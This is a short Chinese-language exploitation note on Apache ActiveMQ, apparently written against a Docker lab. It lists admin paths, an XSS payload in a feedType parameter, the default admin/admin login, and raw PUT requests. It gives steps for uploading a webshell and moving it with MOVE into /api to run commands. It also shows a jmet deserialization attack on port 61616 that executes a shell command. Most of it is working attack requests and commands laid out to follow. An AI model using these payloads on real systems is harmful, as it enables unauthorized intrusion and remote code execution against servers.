简介
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
61616是工作端口,8161是默认web管理页面端口。
/admin/connections.jsp
/admin/queueBrowse/example.A?view=rss&feedType=<script>alert("ACTIVEMQ")</script>
/admin/index.jsp
/admin/queues.jsp
/admin/topics.jsp
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: IP地址:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4
test
弱口令:admin/admin
影响版本
Apache ActiveMQ 5.x ~ 5.14.
1.登录后访问/admin/test/systemProperties.jsp获得绝对路径。
2.获得路径后,使用PUT上传webshell。
3.上传后是无法解析的,ActiveMQ的解析目录是/api/。使用MOVE方法移动上传后的木马使其可解析。
4.访问api目录,看到上传后的木马文件
5./api/5.jsp?cmd=ls(需要登录)
影响版本
Apache ActiveMQ 5.13.0之前5.x版本
登录后查看版本
1.下载jmet
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
2.给目标ActiveMQ添加一个名为event的队列,此时就成功给服务器添加了一个“事件”
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/hacker_test" -Yp ROME IP 61616
3.添加后,打开/admin/browse.jsp?JMSDestination=event查看事件。
4.出现了如下界面,这下咱们的payload就执行了而且向服务器的/tmp下面写入一个文件hacker_test
5.进入容器查看。
docker-compose exec activemq bash